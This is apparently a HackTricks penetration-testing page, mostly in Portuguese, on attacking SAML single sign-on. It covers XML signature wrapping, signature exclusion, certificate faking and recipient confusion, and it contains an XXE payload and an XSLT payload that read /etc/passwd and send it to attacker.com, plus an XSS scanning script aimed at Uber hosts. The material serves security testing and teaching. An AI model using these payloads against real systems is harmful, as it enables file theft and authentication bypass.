SAML Attacks

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Confira os planos de assinatura!
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

Basic Information

SAML Basics

Tool

SAMLExtractor: Uma ferramenta que pode pegar uma URL ou lista de URLs e imprimir de volta a URL de consumo SAML.

XML round-trip

No XML, a parte assinada do XML é salva na memória, então alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria mudar os dados, mas com base nesse cenário, os dados sendo verificados e os dados originais podem não ser os mesmos.

Por exemplo, verifique o seguinte código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Executar o programa contra REXML 3.2.4 ou anterior resultaria na seguinte saída em vez disso:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

Em XML Signature Wrapping attacks (XSW), os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: validação de assinatura e invocação de função. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante injeta elementos forjados que não comprometem a validade da Assinatura XML. Essa manipulação visa criar uma discrepância entre os elementos analisados pela lógica da aplicação e aqueles verificados pelo módulo de verificação de assinatura. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os elementos fraudulentos. Consequentemente, o atacante efetivamente contorna a proteção de integridade e a autenticação de origem da Assinatura XML, permitindo a injeção de conteúdo arbitrário sem detecção.

Os seguintes ataques são baseados em este post de blog e este artigo. Então, verifique esses para mais detalhes.

XSW #1

Estratégia: Um novo elemento raiz contendo a assinatura é adicionado.
Implicação: O validador pode ficar confuso entre o legítimo "Response -> Assertion -> Subject" e o "Response -> Assertion -> Subject" malicioso do atacante, levando a problemas de integridade de dados.

XSW #2

Diferença do XSW #1: Utiliza uma assinatura destacada em vez de uma assinatura envolvente.
Implicação: A estrutura "maligna", semelhante ao XSW #1, visa enganar a lógica de negócios após a verificação de integridade.

XSW #3

Estratégia: Uma Assertion maligna é criada no mesmo nível hierárquico que a assertion original.
Implicação: Tem a intenção de confundir a lógica de negócios para usar os dados maliciosos.

XSW #4

Diferença do XSW #3: A Assertion original se torna um filho da Assertion duplicada (maligna).
Implicação: Semelhante ao XSW #3, mas altera a estrutura XML de forma mais agressiva.

XSW #5

Aspecto Único: Nem a Assinatura nem a Assertion original aderem a configurações padrão (envolvidas/envolventes/destacadas).
Implicação: A Assertion copiada envolve a Assinatura, modificando a estrutura do documento esperada.

XSW #6

Estratégia: Inserção em local semelhante ao XSW #4 e #5, mas com uma reviravolta.
Implicação: A Assertion copiada envolve a Assinatura, que então envolve a Assertion original, criando uma estrutura enganosa aninhada.

XSW #7

Estratégia: Um elemento Extensions é inserido com a Assertion copiada como filho.
Implicação: Isso explora o esquema menos restritivo do elemento Extensions para contornar as contramedidas de validação de esquema, especialmente em bibliotecas como OpenSAML.

XSW #8

Diferença do XSW #7: Utiliza outro elemento XML menos restritivo para uma variante do ataque.
Implicação: A Assertion original se torna um filho do elemento menos restritivo, revertendo a estrutura usada no XSW #7.

Tool

Você pode usar a extensão Burp SAML Raider para analisar a solicitação, aplicar qualquer ataque XSW que você escolher e lançá-lo.

XXE

Se você não sabe que tipo de ataques são XXE, por favor, leia a página seguinte:

XXE - XEE - XML External Entity

As Respostas SAML são documentos XML descompactados e codificados em base64 e podem ser suscetíveis a ataques de Entidade Externa XML (XXE). Ao manipular a estrutura XML da Resposta SAML, os atacantes podem tentar explorar vulnerabilidades XXE. Aqui está como tal ataque pode ser visualizado:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Você também pode usar a extensão Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE e vulnerabilidades SAML.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Para mais informações sobre XSLT, vá para:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Transformações de Linguagem de Folha de Estilo Extensível (XSLT) podem ser usadas para transformar documentos XML em vários formatos, como HTML, JSON ou PDF. É crucial notar que as transformações XSLT são realizadas antes da verificação da assinatura digital. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.

Aqui você pode encontrar um POC para verificar esse tipo de vulnerabilidades; na página hacktricks mencionada no início desta seção, você pode encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Ferramenta

Você também pode usar a extensão Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades de XSLT.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusão de Assinatura XML

A Exclusão de Assinatura XML observa o comportamento das implementações SAML quando o elemento Signature não está presente. Se este elemento estiver ausente, a validação da assinatura pode não ocorrer, tornando-o vulnerável. É possível testar isso alterando os conteúdos que normalmente são verificados pela assinatura.

Ferramenta

Você também pode usar a extensão Burp SAML Raider. Intercepte a Resposta SAML e clique em Remove Signatures. Ao fazer isso, todos os elementos Signature são removidos.

Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a assinatura não for necessária pelo Serviço

Falsificação de Certificado

A Falsificação de Certificado é uma técnica para testar se um Provedor de Serviço (SP) verifica corretamente se uma Mensagem SAML está assinada por um Provedor de Identidade (IdP) confiável. Envolve o uso de um certificado autoassinado para assinar a Resposta ou Aserção SAML, o que ajuda na avaliação do processo de validação de confiança entre SP e IdP.

Como Realizar a Falsificação de Certificado

Os seguintes passos descrevem o processo usando a extensão Burp SAML Raider:

Intercepte a Resposta SAML.
Se a resposta contiver uma assinatura, envie o certificado para SAML Raider Certs usando o botão Send Certificate to SAML Raider Certs.
Na aba de Certificados do SAML Raider, selecione o certificado importado e clique em Save and Self-Sign para criar um clone autoassinado do certificado original.
Volte para a solicitação interceptada no Proxy do Burp. Selecione o novo certificado autoassinado no menu suspenso de Assinatura XML.
Remova quaisquer assinaturas existentes com o botão Remove Signatures.
Assine a mensagem ou a asserção com o novo certificado usando o botão (Re-)Sign Message ou (Re-)Sign Assertion, conforme apropriado.
Encaminhe a mensagem assinada. A autenticação bem-sucedida indica que o SP aceita mensagens assinadas pelo seu certificado autoassinado, revelando potenciais vulnerabilidades no processo de validação das mensagens SAML.

Confusão de Destinatário de Token / Confusão de Alvo de Provedor de Serviço

A Confusão de Destinatário de Token e a Confusão de Alvo de Provedor de Serviço envolvem verificar se o Provedor de Serviço valida corretamente o destinatário pretendido de uma resposta. Em essência, um Provedor de Serviço deve rejeitar uma resposta de autenticação se ela foi destinada a um provedor diferente. O elemento crítico aqui é o campo Recipient, encontrado dentro do elemento SubjectConfirmationData de uma Resposta SAML. Este campo especifica uma URL indicando onde a Aserção deve ser enviada. Se o destinatário real não corresponder ao Provedor de Serviço pretendido, a Aserção deve ser considerada inválida.

Como Funciona

Para que um ataque de Confusão de Destinatário de Token SAML (SAML-TRC) seja viável, certas condições devem ser atendidas. Primeiro, deve haver uma conta válida em um Provedor de Serviço (referido como SP-Legit). Em segundo lugar, o Provedor de Serviço alvo (SP-Target) deve aceitar tokens do mesmo Provedor de Identidade que atende o SP-Legit.

O processo de ataque é simples sob essas condições. Uma sessão autêntica é iniciada com o SP-Legit através do Provedor de Identidade compartilhado. A Resposta SAML do Provedor de Identidade para o SP-Legit é interceptada. Esta Resposta SAML interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso neste ataque é medido pela aceitação da Aserção pelo SP-Target, concedendo acesso a recursos sob o mesmo nome de conta usado para o SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS na funcionalidade de Logout

A pesquisa original pode ser acessada através deste link.

Durante o processo de força bruta de diretório, uma página de logout foi descoberta em:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Ao acessar este link, ocorreu uma redireção para:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Isso revelou que o parâmetro base aceita uma URL. Considerando isso, a ideia surgiu de substituir a URL por javascript:alert(123); em uma tentativa de iniciar um ataque XSS (Cross-Site Scripting).

Exploração em Massa

Da pesquisa:

A ferramenta SAMLExtractor foi usada para analisar subdomínios de uberinternal.com para domínios que utilizam a mesma biblioteca. Subsequentemente, um script foi desenvolvido para direcionar a página oidauth/prompt. Este script testa para XSS (Cross-Site Scripting) inserindo dados e verificando se eles são refletidos na saída. Nos casos em que a entrada é de fato refletida, o script marca a página como vulnerável.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)